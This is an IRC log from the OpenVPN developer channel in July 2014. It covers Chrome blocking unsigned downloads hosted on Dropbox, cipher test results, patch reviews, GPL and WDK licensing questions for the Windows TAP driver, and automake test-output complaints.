the fingerprint in my /whois info here at Freenode 08:49 <@plaisthos> SviMik: http://lmgtfy.com/?q=windows+sign+executable 08:49 <@vpnHelper> Title: Let me google that for you (at lmgtfy.com) 08:49 <@plaisthos> first hit 08:49 < SviMik> dgollub my goal is to solve the following problem: modern windows and browser versions doesn't allow to download and run unsigned apps. for example, Chrome just blocks such download. 08:49 < dgollub> SviMik: then GPG is not the right tool 08:50 <@pekster> Yea, for that you need a cert valid for Microsoft Authenticode, which costs. A number of cert vendors will sell them to you though 08:50 < SviMik> but pekster's executables are downloadable with same Chrome on same PC. how he did it? 08:50 <@pekster> No idea; I did nothing special, and those are unsigned binaries from an Authenticode perspective 08:50 <@pekster> (Right-click them, go to properties, and notice how there is nothing on the signatures tab) 08:52 < dgollub> chrome for windows is doing fancy stuff if the hostname/address is not a FQDN or so ... what does the actual url of your build location look like? https://$privateip/foo.exe ? 09:02 < SviMik> pekster can I buy such cert without having a company registered on dnb.com? 09:02 < SviMik> I don't know why all sellers asking it 09:02 < dgollub> SviMik: does chrome on windows send you to this side if you click on "learn more"? https://support.google.com/chrome/answer/4412392?p=ib_download_blocked&rd=1 09:03 < dgollub> then you run into this feature http://git.chromium.org/gitweb/?p=chromium/chromium.git;a=blob;f=chrome/browser/safe_browsing/download_protection_service.cc#l916 09:03 <@vpnHelper> Title: git.chromium.org Git - chromium/chromium.git/blob - chrome/browser/safe_browsing/download_protection_service.cc (at git.chromium.org) 09:05 < dgollub> afaik even if you sign your installer with a MSFT trusted certificate you might run into this 09:06 < SviMik> it looks like this https://dl.dropboxusercontent.com/u/89790912/Shared/fdwlkjgwe.png 09:07 < SviMik> Chrome has blocked this file as malicious 09:18 < dgollub> there is a tiny dropdown button - and in that box is a "dropdown" menu entry titled something like "learn more" 09:19 < dgollub> does this redirect you to this URL: https://support.google.com/chrome/answer/4412392?p=ib_download_blocked&rd=1 ? 09:25 < dgollub> "If a file isn’t from a known source, Chrome sends the URL and IP of the host and other meta data, such as the file’s hash and binary size, to Google. The file is automatically classified using machine learning analysis and the reputation and trustworthiness of files previously seen from the same publisher and website. Google then sends the results back to Chrome, which warns you if you’re at risk." http://blog.chromium.org/2012 09:25 <@vpnHelper> Title: Chromium Blog: 2012 (at blog.chromium.org) 09:27 <@cron2_> interesting 09:27 <@cron2_> Testing cipher DES-CFB1... OK 09:28 <@cron2_> with 1.0.1* this works 09:34 <@plaisthos> apart from the fact that single des is probably not the most fantastic idea 09:40 <+krzee> may as well get XOR working :D 09:41 <@cron2_> plaisthos: I was just surprised to see "not all of my buildslaves explode there" :) 09:41 <@plaisthos> krzee: if we commit d12fks engine patches you can your super secure xor crypto cipher engine ;) 09:41 <+krzee> :D 09:42 <@plaisthos> (or you can start using GOST ciphers and are probably imeadetly an NSA target) 10:00 <@syzzer> using GOST might not be such a good plan: http://eprint.iacr.org/2011/626 10:00 <@vpnHelper> Title: Cryptology ePrint Archive: Report 2011/626 (at eprint.iacr.org) 10:17 <@cron2_> syzzer: patch for t_lpback is on the list... should arrive eventually, but lists.sf is slow again 10:18 <@plaisthos> arrived 10 minutes ago here 10:19 * plaisthos has the feeling cron2 tries to maximize the number of Received headers 10:20 <@cron2_> the original mail seems to have gotten stuck, so I resent it from the cc: host, which happens to be the one where I send all the mail so is whitelisted in their spam greylist whatnot thingie 10:21 <@cron2_> ok, anyway, off to feed the kids and then to dancing class - bbl in ~3h 10:52 < SviMik> dgollub thx! the problem was in dropbox domain. from our website Chrome downloads with no problems :) 10:53 < dgollub> SviMik: was the dropbox location password protected or something like that_ 10:53 < SviMik> no 10:54 < dgollub> ok, then I guess the google crawler just did not made it to your dropbox location and could not scan it for malware 10:56 < SviMik> it was a public link at dl.dropboxusercontent.com domain 10:56 < SviMik> maybe the whole domain is blacklisted? 10:57 < dgollub> maybe 11:00 < SviMik> fun. now google can just blacklist any website they don't like :p 11:10 <+krzee> from their own stuff? sure 11:10 <+krzee> personally, i dont use google anyways 11:10 <+krzee> not for stndard websearches anyways 11:13 < dgollub> krzee: are you using chrome? 11:14 <+krzee> no 11:14 < SviMik> I don't use Chrome, but our clients do... and there is nothing I can do... 11:15 < dgollub> krzee: ok, even if you are not using their websearch, the browser would be enough to run in that issue SviMik described 11:21 <+krzee> i was not aware of that, but i did sort of expect it 11:24 <@pekster> I've noticed other subtle issues with chrome/chromium; top on my list is that you can't add a previously untrusted host-cert to a local cache, which prevents knowing if it changed from last time. There's an open bug they refuse to fix 11:25 <@pekster> They appear to want you to have a "properly" signed cert (which naturally varies with what CAs your users have installed.) Keep that in mind if you're looking to order your own code-signing or website certs 11:31 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:23 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds] 13:38 <@cron2_> someone willing to ACK the t_lpback patch so I can merge that, make buildbots happy, and cherry-pick the series to 2.3? 13:40 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 13:44 <@dazo> cron2_: got a pointer? 13:44 <@cron2_> Message-Id: <1404830758-7927-1-git-send-email-gert@greenie.muc.de> 13:45 <@dazo> got it! 13:45 <@cron2_> basically portability fixes for syzzer's latest patch 13:45 <@cron2_> and "do not test algorithms that we know are broken, and we don't want to use anyway" :) 13:45 <@cron2_> while you're at it, you could look at 13:45 <@dazo> right 13:45 <@cron2_> Message-Id: <1404804054-32424-1-git-send-email-gert@greenie.muc.de> 13:46 <@cron2_> as well - that's "fix the RedHat and SuSE init scripts to actually work with current bash" :-) 13:48 <@syzzer> done :) 13:48 <@cron2_> \o/ 13:48 <@dazo> mine is still running make check :/ 13:48 <@syzzer> was just running the test locally 13:48 <@syzzer> yeah, that, passes for both openssl and polarssl :) 13:49 * cron2_ wonders whether you run it both on the same OS 13:49 <@dazo> I'm on Fedora 19 13:49 <@syzzer> I'm on Ubuntu 14.04 13:49 <@dazo> "cousins" 13:50 <@syzzer> btw, I have a fairly old t_client.sh, has that been updated somewhere in the past, say year-and-half? 13:50 <@cron2_> indeed, close enough :) 13:50 <@cron2_> syzzer: in minor ways. "ip route" used to give spurious failures for me on gentoo (displaying funny variables that are not interesting) 13:50 <@dazo> hmm ... I've had "wait for connection to establish..." ... for a long time 13:50 <@cron2_> so the "sed-it-away" has been extended 13:51 <@cron2_> dazo: it should finish in a minute or so, for all ciphers 13:51 <@dazo> gah ... auth issues 13:51 <@dazo> locally 13:51 <@cron2_> :) 13:52 <@syzzer> I do have t_client failing to connect every now and then, but maybe my (IPv6 tunnel) connection is a bit jumpy 13:52 <@dazo> do we run connect tests over IPv6 now? /me is too lazy to check 13:52 <@cron2_> I have sometimes spurious failures on one of the buildhosts that can be tracked to "too much RTT to the test server" 13:53 <@cron2_> dazo: we can, the test server is fully dual stacked. Depends on your setup where you do :) 13:53 <@syzzer> dazo: I think so. I always ran the t_client tests from home, because our company network still runs legacy protocols only... 13:53 <@dazo> I'm getting IPv6 via a tunnel too (ISP have announced IPv6 availability and is rolling it out these days) 13:54 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has left #openvpn-devel [] 13:55 <@syzzer> hmm, does that mail from Andris count as 'ACK'? I agree on the feature, he on my implementation :p 13:55 -!- dgollub [~dgollub@p20030045EE04910194C987019FAE1840.dip0.t-ipconnect.de] has joined #openvpn-devel 13:56 <@dazo> I'd count it as an ACK ... he tested it 13:56 <@syzzer> feature -> bug+fix (i.e. should go into 2.3 ;) ) 13:57 <@dazo> cron2_: tests with syzzer patch seems to run well for me too 13:57 <@dazo> (the cipher list patch) 13:58 <@cron2_> good :) (I *did* test it on Solaris... "if it works there, it works everywhere", or so) 14:01 <@dazo> cron2_: while you're at it ... 1384981877-7479-1-git-send-email-dazo@users.sourceforge.net (down-root plugin: Replaced system() calls with execve()) 14:01 <@cron2_> is that in my mailbox? *rub eyes* 14:01 <@dazo> it's been laying around for some months ... Nov 20, 2013 14:01 <@cron2_> ouch 14:02 <@dazo> It's tested, so it should still work :) 14:02 <@cron2_> the change is pretty big. I assume you tested this? ;-) 14:02 <@dazo> Yeah, I had to test that one 14:04 <@dazo> it actually removes more code than it introduces, iirc 14:04 <@cron2_> removing code is cool 14:04 <@cron2_> *sigh* need a faster build machine... 14:05 <@cron2_> what is CFB1 and CFB8 anyway? 14:07 <@dazo> it's variants of CFB, something related to how many bits the blocks are shifted, or something like that 14:11 <@syzzer> what dazo says, the "advantage" being that a bit failure in a CFB1 cipher invalidates just 2 bits, instead of the entire block 14:11 <@syzzer> totally worthless if you use authentication (as any sane OpenVPN configuration does) 14:12 <@dazo> I presume you mean --tls-auth 14:15 <@syzzer> not just that, authentication on the data channel 14:16 <@dazo> ahh, of course 14:16 <@syzzer> if a single bit flips in your packet, auth fails and the entire packet is dropped 14:16 <@dazo> yupp 14:16 <@syzzer> so, pretty useless in OpenVPN context 14:16 <@dazo> agreed 14:27 <@vpnHelper> RSS Update - gitrepo: Call init script helpers with explicit path (./) <https://github.com/OpenVPN/openvpn/commit/cf31d5f32197159691fa9e3e4afcfc35307702d6> || Fix t_lpback.sh platform-dependent failures <https://github.com/OpenVPN/openvpn/commit/bbae238d5084012525a61a0e3ab947c414a555ae> 14:50 <@cron2_> dazo: won't happen tonight, but I've bumped your patch in my mailbox so I should stumble across it again "soonish" 14:50 <@dazo> cron2_: thx! :) I understand it's a more heavy patch to review 14:51 <@dazo> (but much of the concept is taken from the core openvpn code as well; run_script(), I think) 14:54 -!- dgollub [~dgollub@p20030045EE04910194C987019FAE1840.dip0.t-ipconnect.de] has quit [Quit: Leaving.] 15:08 -!- dazo is now known as dazo_afk 15:54 <@cron2_> grrrr 15:54 <@cron2_> GRRRR 15:54 <@cron2_> NetBSD!!! 15:54 <@cron2_> Testing cipher IDEA-CBC... FAILED 15:54 <@cron2_> IDEA is a patented algorithm; link against libcrypto_idea.a. Aborting... 16:39 <@vpnHelper> RSS Update - tickets: #426: OpenVPN x64 version appears to cause slow Vuze loading <https://community.openvpn.net/openvpn/ticket/426> --- Day changed Wed Jul 09 2014 01:55 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Quit: The other day Windows told me I might be a victim of software counterfeiting. Funny, I always thought I was a beneficiary.] 01:55 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 02:48 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:12 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 260 seconds] 03:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:14 -!- ausjke [~xxiao@li259-246.members.linode.com] has joined #openvpn-devel 03:34 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 03:34 < d12fk> cron2_: vuze is probably http://www.vuze.com/ 03:34 <@vpnHelper> Title: Vuze Bittorrent Client - The Most Powerful Bittorrent Software on Earth (at www.vuze.com) 03:34 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 03:46 <@cron2_> "as if I care" 03:47 <@cron2_> but now this is interesting, when thinking about it - I thought it was some sort of remote web based ajax thingie, which would be impacted by "issues in the VPN" 03:47 <@cron2_> starting up software locally really shouldn't care what sort of VPN is running 04:00 <@plaisthos> yeah 04:00 <@plaisthos> I suspect something like different configuration in 32 and 64 bit 04:01 <@plaisthos> I ask for a pcap of the startup 04:29 <@plaisthos> hm 04:30 <@plaisthos> did my review of the session ID patch not get to the mailing list? 05:02 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 05:05 < dgollub> hi 05:06 < dgollub> mattock: we were yesterday discussing a license adaption for tap-windows driver to add declare the WDK explicitly as a system library to avoid potential GPLv2 violation. Like KVM is doing that for the windows guest driver and other projects: https://github.com/YanVugenfirer/kvm-guest-drivers-windows/blob/master/LICENSE ... not quite sure if dazo_afk, plaisthos or cron2_ briefed you on that discussion already 05:06 <@vpnHelper> Title: kvm-guest-drivers-windows/LICENSE at master · YanVugenfirer/kvm-guest-drivers-windows · GitHub (at github.com) 05:15 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Quit: Leaving.] 05:16 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 05:35 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:35 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:48 <@mattock> dgollub: do you refer to tap-windows or tap-windows6? 05:48 < dgollub> actually both 05:49 < dgollub> tap-windows6 is based on tap-windows. And both are licensed under GPLv2 - right? 05:49 <@mattock> nope, tap-windows6 is a complete rewrite 05:49 <@mattock> if I recall correctly tap-windows6 is AGPLv3 05:49 <@mattock> but you can check it from GitHub (search "tap-windows6" 05:49 <@mattock> ) 05:50 < dgollub> https://github.com/OpenVPN/tap-windows6/blob/master/COPYING 05:50 <@vpnHelper> Title: tap-windows6/COPYING at master · OpenVPN/tap-windows6 · GitHub (at github.com) 05:50 < dgollub> states GPLv2 05:51 <@mattock> ok 05:51 < dgollub> even it is a complete rewrite - tap-windows6 would also benefit of stating that WDK is considered as system library 05:51 <@mattock> I'm technically on vacation now, but I can have a closer look at this next week 05:52 < dgollub> Is there anything I can already prepare so you do not need to spent too much time on that? On IRC we already identified all authors for tap-windows and such stuff 05:53 <@mattock> do you have contact details for all authors? 05:54 < dgollub> I turnted out that only 3 would have to agree on that ... and 2 of them were dazo_afk and cron2_ 05:54 <@mattock> if you have any links to articles or discussion about GPLv2 and WDK compatibility issues please let me know 05:54 <@mattock> I suspect the third is James Yonan? 05:54 < dgollub> correct 05:54 <@mattock> then I guess amending the license should not be a big issue 05:56 < dgollub> the actual problem with WDK and GPLv2 is that the tap-windows and tap-windows6 driver is linking against static libraries of the WDK (which can not really avoided). And those static libraries are not licensed under GPL. 05:56 <@mattock> ah 05:56 < dgollub> And this causes discussion with legal reviews that if you distribute tap-windows driver as build that you link GPL code with non-GPL code -> GPL violation 05:57 <@mattock> then again, that wouldn't be a problem as long as the tap-windows/tap-windows6 copyright holders would not sue 05:58 < dgollub> correct 05:58 <@mattock> unless not enforcing the copyrights would mean the code would put it to public domain or something 05:58 <@mattock> not sure about that aspect 05:58 < dgollub> not quite sure either about that aspect 05:59 <@mattock> in any case we should think this through... and if amendments are necessary, they should be easily accomplishable 05:59 < dgollub> "as long the ... copyright holders would not sue" ... this is something which prevents legal clearance to use/distribute tap-windows for other vendors 06:02 <@mattock> yep, that's true 06:02 <@mattock> they would run a risk getting sued 06:02 < dgollub> how should we continue on that? Should I create a trac ticket for that amendments? or is there anything I can prepare till next week? 06:04 < dgollub> I could not find to much hard facts about the GPL vs. WDK license discussion on the web. Since there are not that many windows drivers which are licensed under GPLv2 or if they, they are not distributed as binary by various vendors or so. 06:06 < dgollub> The only cases I found during my research are KVM or SPICE specific projects which all adapted the WDK license amendments from the virtio guest driver. And the Xen PV GPL driver ... which changed two month ago from GPL to BSD due to WHQL certification aka. Windows logo program aka. Windows hardware certification process issues. 06:07 < dgollub> There are some people how looked into basing their entire work on MinGW and implementing the Windows kernel API stubs into MinGW .. to prevent any usage of the WDK. But this has tons of disadvantages ... 06:08 < dgollub> ... no windows pdb debug symbols, with any new windows release/WDK release I guess you need to enable MinGW first for different stub addresses. And it is not for surce if in the used NDIS libraries their might be more code then just stubs to kernel APIs 06:10 < dgollub> http://lists.xen.org/archives/html/xen-users/2013-12/msg00039.html < Xen PV driver changing to BSD (that is just the announcment. Two month ago they switch to BSD - not dual licensing) 06:10 <@vpnHelper> Title: Xen project Mailing List (at lists.xen.org) 06:11 < dgollub> http://strdup.livejournal.com/34596.html - mingw to prevent wdk usage 06:12 < dgollub> http://lists.freedesktop.org/archives/spice-devel/2010-September/001122.html - spice adding the WDK system library clarification 06:12 <@vpnHelper> Title: [Spice-devel] [PATCH] qxl licence: add WDK clarification (at lists.freedesktop.org) 06:13 < dgollub> spice usbclerk (GPLv3): https://github.com/SPICE/usbclerk/commit/f8c9ecb76d581a0dc66318ed598444046ccaa2bc 06:13 <@vpnHelper> Title: add usbclerk license · f8c9ecb · SPICE/usbclerk · GitHub (at github.com) 06:13 <@cron2_> woot, mattock is back! 06:15 <@cron2_> mattock: when will you be back for real? 06:16 <@cron2_> plaisthos: I saw a mail from you regarding session-ids on June 29 and Jul 09 (and did not read either yet) 06:16 < dgollub> James Harper (Xen PV guest driver maintainer) made some useful posts trying to clarify GPL & WDK license thing and tried to do research on the WHQL thingy. But I guess the switch to BSD license was only due to the WHQL certification program .. not due to license issues. Not quite sure if anyone of you plans to have the tap-windows* driver certified by on of the windows logo programs 06:17 < dgollub> if so - we might want to check back with James Harper with his experience getting any driver certified by WHQL. 06:19 < dgollub> but AFAIK right now even with windows 8.1 code signing and timestamped driver is the highest barrier to get a driver build running. 06:20 < dgollub> so for the time being I guess the amendments of the GPLv2 would be sufficient to spread OpenVPN 06:21 < dgollub> this is all I researched so far on that topic 06:23 <@cron2_> I wonder what is wrong with just spreading the tap driver we provide? "If someone wants to sue, send him to mattock" 06:23 <@cron2_> there is normally no reason to build+link your own 06:24 < dgollub> product maintenance / support plans of vendors might be different 06:24 < dgollub> in case of a support case we of an 4 year old build or so customer might ask to have a specific feature/fix on top of that old build 06:25 < dgollub> especially looking into NDIS5 which might appear soon 06:25 < dgollub> -appear +disappear 06:27 < dgollub> also conflicting release plans - there might be the need for a vendor to release a particular feature at some earlier point in time. earlier then the planned community release ... e.g. by backporting that particular feature to latest stable release or so 06:28 < dgollub> some vendors might also have the requirments/policy that they need to only distribute signed code with their cert and such crazy stuff 06:33 < dgollub> "If someone wants to sue, send him to mattock" - I guess this will not convince legal folks of some vendors that often ;) 07:38 <@cron2_> well, there are no real updates to the tap driver anymore anyway. It's done, and gets shipped, period. So release cycles really don't come into play here... 07:39 <@cron2_> (and the signed tap driver binary bundle is independent from OpenVPN) 07:49 < dgollub> looking at tap-windows6 this might change again 07:51 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 240 seconds] 08:13 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 08:13 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 08:22 -!- dazo_afk is now known as dazo 08:23 <@plaisthos> cron2_: I really really would like to have the session floating (or something similar) upstream 08:23 <@plaisthos> It really makes a huge difference for usability of OpenVPN on a smartphone/tablet 08:28 <@cron2_> plaisthos: I'm with you here. I just had no time to see if the existing patches fully implement what we agreed on (new frame format is negotiated by an IV_ value / push response, etc., see notes in wiki) 08:29 <@cron2_> and then we need James to look at it and say "yep, this is good, I'll do it in iOS" 08:29 <@cron2_> (he agrees with the idea, but we never finalized the specifics - which we can do now, as we have running code :) ) 08:29 * cron2_ needs more time 08:29 <@cron2_> way more time 08:30 <@cron2_> (and actually need to go fix a stubborn ntp server right now, and then catch a bus... *sigh*... bbl) 08:46 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:46 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 08:48 -!- Netsplit *.net <-> *.split quits: @mattock, _bt, @d12fk 08:48 -!- mattock_ is now known as mattock 08:51 -!- d303k [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 08:51 -!- mode/#openvpn-devel [+o d303k] by ChanServ 09:07 -!- d303k is now known as d12fk 09:09 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds] 09:20 <@syzzer> d12fk: I you're interested, I'm willing to review your openssl engine ('GOST') patch set, but I wasn't on the mailinglist back when you posted the patchset. Could you maybe rebase and repost the patches (if you still like to get them into master ofc). 09:26 -!- d12fk is now known as d303k 09:28 * dazo wonders if d12fk/d303k if he changes to d404k when doesn't want to be found .... 09:28 <@mattock> cron2: I'll be back next monday 09:29 <@dazo> mattock: just mailed you my comments on the wdk/gpl licensing stuff in tap drivers ... no hurry, take it when you come back 09:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 09:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:31 <@mattock> dazo: ok, thanks! 09:34 -!- d303k is now known as d12fk 09:48 <@cron2_> d1fk: while you're here :-) - how's your time availability? syzzer wants to see 2.4 happen "soon", and it would be great to have the iservice in there... 09:49 <@cron2_> mattock: your build bots need some love 10:00 <@plaisthos> cron2_: Then I better sitdown and write my "fix the zillion timeouts" patch 10:12 <@cron2_> plaisthos: which one is that? I'm not sure I know the problem yet :) 10:19 <@plaisthos> cron2_: at the moment we have a lot of different timeotus for connecting 10:20 <@plaisthos> like tcp-connect -> then after that http-proxy timeout and then tls timeout 10:20 <@plaisthos> which are like 30 + 10 + 60 or something strange like that 10:20 <@plaisthos> And I want to replace these all by one start connection to connected timeout 10:21 -!- dgollub [~dgollub@p20030045EE04910145CD36D950CC57D9.dip0.t-ipconnect.de] has joined #openvpn-devel 10:26 <@plaisthos> btw. OpenVPN3 seems already to have a single "timeout" option 10:27 <@plaisthos> hm no 10:27 <@plaisthos> it is actually not a config paramter 10:28 <@plaisthos> it is a paramter set by the ui 10:34 -!- d12fk is now known as d303k 10:35 <@cron2_> plaisthos: ah, *that* one. Unified timeout handling. Yes. Want :-) 11:13 -!- d303k is now known as d12fk 11:13 <@plaisthos> d303k? 11:17 -!- d12fk is now known as d303k 11:17 <@d303k> yes 11:17 -!- d303k is now known as d12fk 11:18 <@plaisthos> you are confusing me :) 11:21 <@d12fk> my client went weird today 11:22 * plaisthos uses irssi, that client starts wierd 11:22 <@d12fk> syzzer: about gost, we think about removing it from our product again. so if you want it in mainline we should hurry 11:24 * d12fk is famous for being quick *duck* 11:26 <@plaisthos> no russian goverment contract for Sophos? *dcuks* 12:33 <@syzzer> d12fk: I don't have a big preference, but I've been hacking a bit in the crypto code for AES-GCM, and would like to refactor the code a bit here and there. Afterwards it will only become more complicated to apply older patches. So I guessed if we were to get them into mainline, this is the time. 12:43 <@plaisthos> syzzer: how is Netherland at the moments? 12:43 <@syzzer> rainy :p 12:43 <@plaisthos> Hordes of orange people running around shouting "Hup hup Holland"? 12:44 <@syzzer> yup, starting to 12:44 <@syzzer> though everyone gathers inside pubs / living rooms due to the bad weather 12:45 <@plaisthos> no public viewings 12:45 <@plaisthos> hm 12:45 <@plaisthos> nah public viewing is the german term, I wonder what the correct translation is ... 12:46 <@syzzer> http://www.thelocal.de/galleries/culture/1805/5 12:46 <@vpnHelper> Title: 12 misused English words in German The Local (at www.thelocal.de) 12:46 <@syzzer> ^^ yup :p 12:46 <@syzzer> It says the correct English term is "disaster", lol 12:47 <@syzzer> There are quite a lot of places with the big outside screens, even 12:47 <@plaisthos> " When hordes of people gather together to watch a football match screened onto a wall in Britain, we call it a disaster." 12:47 <@syzzer> a lot of 'illegal' ones 12:47 <@plaisthos> lol 12:47 <@plaisthos> I am not sure that translation is right 12:48 < dgollub> you know what "public viewing" stands for in the US? 12:48 <@syzzer> I'm guessing Germany had a bad morning today... ;) 12:48 <@plaisthos> I didn't realize the Beamer/projecter things 12:48 < dgollub> http://de.wikipedia.org/wiki/Public_Viewing 12:48 <@vpnHelper> Title: Public Viewing – Wikipedia (at de.wikipedia.org) 12:48 <@plaisthos> dgollub: sure 12:48 < dgollub> "die öffentliche Aufbahrung eines Toten " 12:49 <@plaisthos> vpnHelper: public viewing is the translation of Leichenschau 12:50 <@syzzer> I like "Rudelgucken" much better 12:50 < dgollub> yeah - i prefer that as well 12:51 < dgollub> syzzer: with regards the bad morning in Germany: https://twitter.com/BahnAnsagen/status/486779289241530368/photo/1 12:51 <@vpnHelper> Title: Twitter / BahnAnsagen: So ises, liebe @SBahnBerlin, ... (at twitter.com) 12:52 <@plaisthos> we even get a finale, oho google doodle 12:52 <@plaisthos> http://www.google.com/doodles/world-cup-2014-58 12:52 <@vpnHelper> Title: World Cup 2014 #58 (at www.google.com) 12:53 <@syzzer> no country-wide hangover from celebrating? 12:54 < dgollub> I guess a lot people recovered already one hour early .. since the match was decided already 1h before the end - kind of. At least in my neighbour hood in Berlin the run out of fireworks ... which they would fire up on every goal 12:55 <@plaisthos> it is one of the few doogle without the word google in it ... 12:55 <@plaisthos> dgollub: LOL 12:55 <@syzzer> hahaha, nice! 12:56 < dgollub> .. I guess same applies to shots or drinks or so ... 12:56 <@plaisthos> dgollub: which also means they no firework for the finale or have to illegally buy new one 12:57 <@syzzer> couple hour drive the Belgium, right 12:57 < dgollub> I guess the berlin people go more to east then ... I guess Poland is famous in this area for not approved fireworks or so 12:58 <@syzzer> ah, yeah, sounds plausible 13:24 <@cron2_> gah, what sort of newfangled nonsens is that... "make check" now writes the test output to a log file, instead of just showing it right away 13:24 * cron2_ hates automake 13:31 <@cron2_> madness 13:31 <@syzzer> more stuff failed? 13:32 <@cron2_> instead of "just running the test script", make now calls $srcdir/test-driver, which is build by "autoreconf -vif", and does the weirdest things 13:32 <@cron2_> # Test script is run here. 13:32 <@cron2_> "$@" >$log_file 2>&1 13:32 <@cron2_> I want to *SEE* those messages, damnit 13:32 <@syzzer> hmpf. awesome. 13:33 <@cron2_> yes 13:33 <@cron2_> totally 13:33 <@cron2_> mmmh 13:33 <@cron2_> seems to be automake 1.14 goodness 13:35 <@cron2_> yep 13:35 <@cron2_> *puke* 13:36 <@cron2_> http://stackoverflow.com/questions/22686998/how-to-disable-automakes-test-driver-script 13:36 <@vpnHelper> Title: testing - How to disable Automakes test-driver script - Stack Overflow (at stackoverflow.com) 13:39 <@cron2_> hrmph 13:46 <@vpnHelper> RSS Update - tickets: #427: make check doesn't play nicely with automake 1.12 and up <https://community.openvpn.net/openvpn/ticket/427> 13:52 <@syzzer> heh, I've been fighting this for a while without realizing it's unintended behaviour, I just thought our build system was, well, "not perfect" 14:11 <@dazo> huh!? I'm using automake 1.13.4 without any issues ... at least I haven't noticed anything 14:12 <@dazo> ahh, okay ... I understand now :) 14:23 <@cron2_> dazo: well, it *works*, and as long as all tests succeed and you're patient, you get nice short and coloured output 14:23 <@dazo> right ... the stderr/stdout redirect in 'make check' is annoying indeed 14:23 <@cron2_> I really like looking at things while they are happening - and the second thing is, it makes buildbot's output less useful, as it just tells us "oh, yeah, t_client.sh failed" but the actual details are missing 14:24 <@dazo> agreed 14:24 <@cron2_> I can see that you'd want this if you run checks in parallel and can't have their output all intermixed... but then, please make it conditional, or provide a straightforward way to turn it off... 14:24 <@cron2_> (well, "install automake 1.11") 14:25 <@syzzer> I configured Jenkins to save the log files, so I can dig them up when something fails 14:45 -!- dazo is now known as dazo_afk 14:53 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:12 -!- dgollub [~dgollub@p20030045EE04910145CD36D950CC57D9.dip0.t-ipconnect.de] has quit [Quit: Leaving.] 15:24 <@cron2_> syzzer: the " [PATCH] Do not upcase x509-username-field for mixed-case arguments" is ready for merging, did I get that right? ACK from plaisthos and Andris? 15:24 <@cron2_> that "part in trac, part on the list" discussion confused me a bit 15:50 <@vpnHelper> RSS Update - gitrepo: Remove ENABLE_BUFFER_LIST <https://github.com/OpenVPN/openvpn/commit/0c21b2dba9fca5f3e7effc45a495be1f5a9d0246> 17:05 -!- mattock is now known as mattock_afk 22:52 <@vpnHelper> RSS Update - tickets: #428: tls-auth broken on android kitkat (over cellular) <https://community.openvpn.net/openvpn/ticket/428> --- Day changed Thu Jul 10 2014 02:10 -!- mattock_afk is now known as mattock 02:14 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:21 <@syzzer> cron2_: yes. The patch on the list is ready to be merged. 02:21 <@syzzer> The patch on trac basically did three thing, but I had only short time slots to review, so I split it up. 02:23 <@syzzer> part 1 has been merged a little while ago, that was the manpage typo fix patch 02:28 <@cron2_> ok, so this is part 2. Understood, tonight 03:08 -!- raidz is now known as raidz_away 03:43 -!- raidz_away is now known as raidz 03:58 -!- raidz is now known as raidz_away 04:00 -!- raidz_away is now known as raidz 04:06 -!- dazo_afk is now known as dazo 06:21 -!- ausjke [~xxiao@li259-246.members.linode.com] has quit [Remote host closed the connection] 12:35 -!- mattock is now known as mattock_afk 12:39 -!- dazo is now known as dazo_afk 13:57 -!- mattock_afk is now known as mattock 14:07 <@cron2_> syzzer: you're really keeping me busy :) 14:10 <@cron2_> syzzer: is BIO_free(in) allowed if "in" is NULL? 14:13 <@cron2_> mmmh. The man page doesn't explicitely say so, but the implementation checks for NULL. 14:35 <@vpnHelper> RSS Update - gitrepo: Don't exit daemon if opening or parsing the CRL fails. <https://github.com/OpenVPN/openvpn/commit/d860ee4a4c2cac03a872f07a9e629b56f3158b8b> || Do not upcase x509-username-field for mixed-case arguments. <https://github.com/OpenVPN/openvpn/commit/f4e0ad82b0eaccce965074c1ceec2b7e3853dc0d> 14:57 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:34 <@syzzer> cron2_: yeah, I decided it would be fun to close some trac tickets :) 15:46 <@cron2_> good thing :) 16:03 -!- mattock is now known as mattock_afk 17:33 -!- Netsplit *.net <-> *.split quits: @raidz, +roentgen, +krzee, @andj, Haigha, riddle 17:33 -!- Netsplit over, joins: roentgen 17:33 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 17:33 -!- Netsplit over, joins: andj 17:33 -!- mode/#openvpn-devel [+o andj] by ChanServ 17:33 -!- Netsplit over, joins: raidz 17:33 -!- mode/#openvpn-devel 